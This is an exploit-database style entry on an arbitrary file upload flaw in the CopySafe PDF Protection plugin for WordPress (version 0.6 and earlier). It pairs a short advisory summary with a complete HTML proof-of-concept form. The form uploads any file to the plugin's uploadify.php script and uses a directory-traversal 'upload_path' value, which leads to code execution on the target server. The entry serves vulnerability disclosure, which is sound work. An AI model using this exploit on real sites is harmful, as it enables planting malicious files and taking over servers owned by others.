WordPress Plugin CopySafe PDF Protection – Arbitrary File Upload
source: https://www.securityfocus.com/bid/68656/info The CopySafe PDF Protection plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. CopySafe PDF Protection 0.6 and prior are vulnerable. <form action="http://www.example.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="wpcsp_file" ><br> <input type=text name="upload_path" value="../../../../uploads/"> <input type="submit" name="submit" value="Submit"> </form> |